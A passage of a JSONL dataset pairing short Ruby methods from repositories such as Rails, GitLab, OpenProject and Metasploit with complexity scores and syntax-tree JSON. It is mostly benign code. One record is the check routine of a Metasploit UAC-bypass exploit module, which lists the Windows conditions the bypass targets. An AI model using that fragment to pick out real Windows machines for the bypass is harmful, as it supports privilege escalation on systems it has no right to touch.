end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"clear_subscriptions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"push_subscriptions\"]},\"clear\"]}]}","id":"8e90f10a-2e35-47b5-9548-9b1af04352f8"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/composite_test.rb","start_line":88,"raw_source":"def deserialize(value)\n if value =~ /\\(\"?([^\",]*)\"?,\"?([^\",]*)\"?\\)/\n FullAddress.new($1, $2)\n end\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"deserialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\(\\\"?([^\\\",]*)\\\"?,\\\"?([^\\\",]*)\\\"?\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FullAddress\"]},\"new\",{\"type\":\"nth_ref\",\"children\":[1]},{\"type\":\"nth_ref\",\"children\":[2]}]},null]}]}","id":"124fd679-909d-41ab-b384-d64c1c7f6494"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/pipeline/email_pipeline.rb","start_line":12,"raw_source":"def self.transform_context(context)\n super(context).merge(\n only_path: false,\n emailable_links: true,\n no_sourcepos: true\n )\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"transform_context\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"emailable_links\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"no_sourcepos\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"7371613e-490e-4338-ab03-92c3e2564104"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/arguments_forwarding.rb","start_line":255,"raw_source":"def non_splat_or_block_pass_lvar_references(body)\n body.each_descendant(:lvar, :lvasgn).filter_map do |lvar|\n parent = lvar.parent\n\n next if lvar.lvar_type? && FORWARDING_LVAR_TYPES.include?(parent.type)\n\n lvar.children.first\n end.uniq\n end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"non_splat_or_block_pass_lvar_references\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"each_descendant\",{\"type\":\"sym\",\"children\":[\"lvar\"]},{\"type\":\"sym\",\"children\":[\"lvasgn\"]}]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lvar\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lvar\"]},\"parent\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lvar\"]},\"lvar_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FORWARDING_LVAR_TYPES\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"type\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lvar\"]},\"children\"]},\"first\"]}]}]},\"uniq\"]}]}","id":"97974e58-3d00-46fe-ba82-bfc33e7b1a7b"} {"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/asset_url_helper.rb","start_line":243,"raw_source":"def compute_asset_extname(source, options = {})\n return if options[:extname] == false\n extname = options[:extname] || ASSET_EXTENSIONS[options[:type]]\n if extname && File.extname(source) != extname\n extname\n else\n nil\n end\n end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"compute_asset_extname\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"extname\"]}]},\"==\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"extname\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"extname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ASSET_EXTENSIONS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"extname\",{\"type\":\"lvar\",\"children\":[\"source\"]}]},\"!=\",{\"type\":\"lvar\",\"children\":[\"extname\"]}]}]},{\"type\":\"lvar\",\"children\":[\"extname\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"3fedd7b6-14fe-46b6-b5be-cfb3f9d16fd7"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/components/my/time_tracking/list_stats_component.rb","start_line":38,"raw_source":"def wrapper_key\n \"time-entries-list-stats-#{date.iso8601}\"\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wrapper_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"time-entries-list-stats-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date\"]},\"iso8601\"]}]}]}]}","id":"d2331184-c693-434b-8760-37d8cf0ab277"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/work_packages/abstract_work_package.rb","start_line":338,"raw_source":"def expect_conflict_error_banner\n expect(page).to have_test_selector(\"op-primer-flash-message\",\n text: I18n.t(\"notice_locking_conflict_danger\"),\n visible: true) do |element|\n expect(element[\"data-banner-scheme\"]).to eq(\"danger\")\n end\n end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_conflict_error_banner\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_test_selector\",{\"type\":\"str\",\"children\":[\"op-primer-flash-message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"notice_locking_conflict_danger\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data-banner-scheme\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"str\",\"children\":[\"danger\"]}]}]}]}]}","id":"e5c7d7e3-baae-4616-ac22-13b14da3f729"} {"repo_name":"puma","file_path":"./repos/puma/test/test_log_writer.rb","start_line":45,"raw_source":"def test_null_log_does_nothing\n out, _ = capture_io do\n Puma::LogWriter.null.log(\"ready\")\n end\n\n assert_equal \"\", out\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_null_log_does_nothing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"out\"]},{\"type\":\"lvasgn\",\"children\":[\"_\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_io\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"LogWriter\"]},\"null\"]},\"log\",{\"type\":\"str\",\"children\":[\"ready\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"lvar\",\"children\":[\"out\"]}]}]}]}","id":"acec1f1b-4065-4903-96ae-43b008c0c6ed"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/request_context.rb","start_line":51,"raw_source":"def lower_bounds_params(page)\n page.lower_bounds.each_with_object({}) do |(column, value), params|\n filter = filter_with_comparator(page, column)\n params[filter] = value\n end\n end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"lower_bounds_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"lower_bounds\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filter\",{\"type\":\"send\",\"children\":[null,\"filter_with_comparator\",{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"column\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"filter\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"6625e032-a2c6-4f84-8464-3e33e8462d43"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/open_project/reporting/cost_entry_xls_table.rb","start_line":112,"raw_source":"def multiple_unit_types_footer\n [\"\", \"\", show_result(query)]\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"multiple_unit_types_footer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[null,\"show_result\",{\"type\":\"send\",\"children\":[null,\"query\"]}]}]}]}","id":"d57f8a21-0db0-43f4-8383-151f6ac76547"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/category_group.rb","start_line":9,"raw_source":"def self.permission_types\n @permission_types ||= Enum.new(full: 1, create_post: 2, readonly: 3)\n end","complexity_score":2.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"permission_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@permission_types\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Enum\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create_post\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"readonly\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}","id":"ae6ff108-31fb-455b-9085-77df5208f26a"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapter_test.rb","start_line":258,"raw_source":"def test_value_limit_violations_are_translated_to_specific_exception\n error = assert_raises(ActiveRecord::ValueTooLong) do\n Event.create(title: \"abcdefgh\")\n end\n\n assert_not_nil error.cause\n end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_value_limit_violations_are_translated_to_specific_exception\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ValueTooLong\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"abcdefgh\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"cause\"]}]}]}]}","id":"65777025-50dc-405f-846a-82c6cccbfcb1"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/bypassuac_windows_store_reg.rb","start_line":65,"raw_source":"def check\n version = get_version_info\n if version.build_number >= Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && is_uac_enabled? && exists?('C:\\\\Windows\\\\System32\\\\WSReset.exe')\n return CheckCode::Appears\n end\n\n CheckCode::Safe\n end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"get_version_info\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"build_number\"]},\">=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"WindowsVersion\"]},\"Win10_InitialRelease\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"windows_server?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"is_uac_enabled?\"]}]},{\"type\":\"send\",\"children\":[null,\"exists?\",{\"type\":\"str\",\"children\":[\"C:\\\\Windows\\\\System32\\\\WSReset.exe\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}","id":"5a515141-7a86-4081-a2b1-d54d116cc2aa"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/sign_up_helpers.rb","start_line":20,"raw_source":"def confirm_email(new_user)\n new_user_token = User.find_by_email(new_user.email).confirmation_token\n\n visit user_confirmation_path(confirmation_token: new_user_token)\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"confirm_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_user_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by_email\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_user\"]},\"email\"]}]},\"confirmation_token\"]}]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[null,\"user_confirmation_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confirmation_token\"]},{\"type\":\"lvar\",\"children\":[\"new_user_token\"]}]}]}]}]}]}]}","id":"4e255e24-0baf-42f8-9f40-95f1878dfaaa"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/admin/type_configuration_form.rb","start_line":81,"raw_source":"def find_group_handle(label)\n find_group(label).find(\".group-handle\")\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_group_handle\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_group\",{\"type\":\"lvar\",\"children\":[\"label\"]}]},\"find\",{\"type\":\"str\",\"children\":[\".group-handle\"]}]}]}","id":"a883e1f2-50ad-409d-baf0-0f6ac14e0406"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/explain_test.rb","start_line":29,"raw_source":"def test_explain_with_options_as_strings\n explain = Author.where(id: 1).explain(\"VERBOSE\", \"ANALYZE\", \"FORMAT JSON\").inspect\n assert_match %r(EXPLAIN \\(VERBOSE, ANALYZE, FORMAT JSON\\) SELECT \"authors\"\\.\\* FROM \"authors\" WHERE \"authors\"\\.\"id\" = (?:\\$1 \\[\\[\"id\", 1\\]\\]|1)), explain\n assert_match %(QUERY PLAN), explain\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_explain_with_options_as_strings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"explain\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"explain\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]},{\"type\":\"str\",\"children\":[\"ANALYZE\"]},{\"type\":\"str\",\"children\":[\"FORMAT JSON\"]}]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"EXPLAIN \\\\(VERBOSE, ANALYZE, FORMAT JSON\\\\) SELECT \\\"authors\\\"\\\\.\\\\* FROM \\\"authors\\\" WHERE \\\"authors\\\"\\\\.\\\"id\\\" = (?:\\\\$1 \\\\[\\\\[\\\"id\\\", 1\\\\]\\\\]|1)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"explain\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"QUERY PLAN\"]},{\"type\":\"lvar\",\"children\":[\"explain\"]}]}]}]}","id":"36e0b23e-d189-43e8-8587-5c294fd5f2f0"} {"repo_name":"sinatra","file_path":"./repos/sinatra/rack-protection/lib/rack/protection/frame_options.rb","start_line":32,"raw_source":"def call(env)\n status, headers, body = @app.call(env)\n headers['x-frame-options'] ||= frame_options if html? headers\n [status, headers, body]\n end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\"]},{\"type\":\"lvasgn\",\"children\":[\"headers\"]},{\"type\":\"lvasgn\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"html?\",{\"type\":\"lvar\",\"children\":[\"headers\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"x-frame-options\"]}]},{\"type\":\"send\",\"children\":[null,\"frame_options\"]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}","id":"5a892a56-7c5f-4f1c-b287-ad7b43458f6a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/smb.rb","start_line":84,"raw_source":"def address\n @address ||= simple_client.peerhost\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"address\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple_client\"]},\"peerhost\"]}]}]}","id":"f3baca59-711a-4e41-99ed-1fff1f6181d2"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ldap/client.rb","start_line":32,"raw_source":"def naming_contexts\n @naming_contexts ||= search_root_dse[:namingcontexts]\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"naming_contexts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@naming_contexts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"search_root_dse\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"namingcontexts\"]}]}]}]}","id":"938ca582-17d9-4506-9c54-1551f785ff72"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/overviews/app/components/overviews/project_custom_fields/side_panel_component.rb","start_line":44,"raw_source":"def render?\n User.current.allowed_in_project?(:view_project_attributes, @project) &&\n @project.project_custom_fields.visible.any?\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"render?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"view_project_attributes\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"project_custom_fields\"]},\"visible\"]},\"any?\"]}]}]}","id":"685c102d-a9fc-463b-8f3e-15f5aeceddad"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/access_control.rb","start_line":83,"raw_source":"def allow_actions(action_hash)\n permission_path = normalized_controller_action_string(action_hash)\n\n permissions.select { |p| p.controller_actions.include? permission_path }\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_actions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action_hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"permission_path\",{\"type\":\"send\",\"children\":[null,\"normalized_controller_action_string\",{\"type\":\"lvar\",\"children\":[\"action_hash\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permissions\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"controller_actions\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"permission_path\"]}]}]}]}]}","id":"cdc9abd3-3522-49bd-abd4-b480f3944e5a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/web_hooks_helpers.rb","start_line":75,"raw_source":"def save_hook(hook, entity)\n if hook.save\n present hook, with: entity\n else\n error!(\"Invalid url given\", 422) if hook.errors[:url].present?\n error!(\"Invalid branch filter given\", 422) if hook.errors[:push_events_branch_filter].present?\n error!(\"Custom headers validation failed\", 422) if hook.errors[:custom_headers].present?\n\n render_validation_error!(hook, 422)\n end\n end","complexity_score":25.88,"ast_json":"{\"type\":\"def\",\"children\":[\"save_hook\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hook\"]},{\"type\":\"arg\",\"children\":[\"entity\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"present\",{\"type\":\"lvar\",\"children\":[\"hook\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"entity\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"error!\",{\"type\":\"str\",\"children\":[\"Invalid url given\"]},{\"type\":\"int\",\"children\":[422]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"push_events_branch_filter\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"error!\",{\"type\":\"str\",\"children\":[\"Invalid branch filter given\"]},{\"type\":\"int\",\"children\":[422]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"custom_headers\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"error!\",{\"type\":\"str\",\"children\":[\"Custom headers validation failed\"]},{\"type\":\"int\",\"children\":[422]}]},null]},{\"type\":\"send\",\"children\":[null,\"render_validation_error!\",{\"type\":\"lvar\",\"children\":[\"hook\"]},{\"type\":\"int\",\"children\":[422]}]}]}]}]}","id":"6f1064ce-0649-4381-a8e3-d9230db1b66a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/pipeline_base.rb","start_line":18,"raw_source":"def perform_filter(filter, doc, context, result)\n payload = default_payload(filter: filter.name, context: context, result: result)\n\n instrument Banzai::PipelineBase.filter_subscription_name, payload do\n filter.call(doc, context, result)\n end\n end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter\"]},{\"type\":\"arg\",\"children\":[\"doc\"]},{\"type\":\"arg\",\"children\":[\"context\"]},{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[null,\"default_payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrument\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Banzai\"]},\"PipelineBase\"]},\"filter_subscription_name\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"typ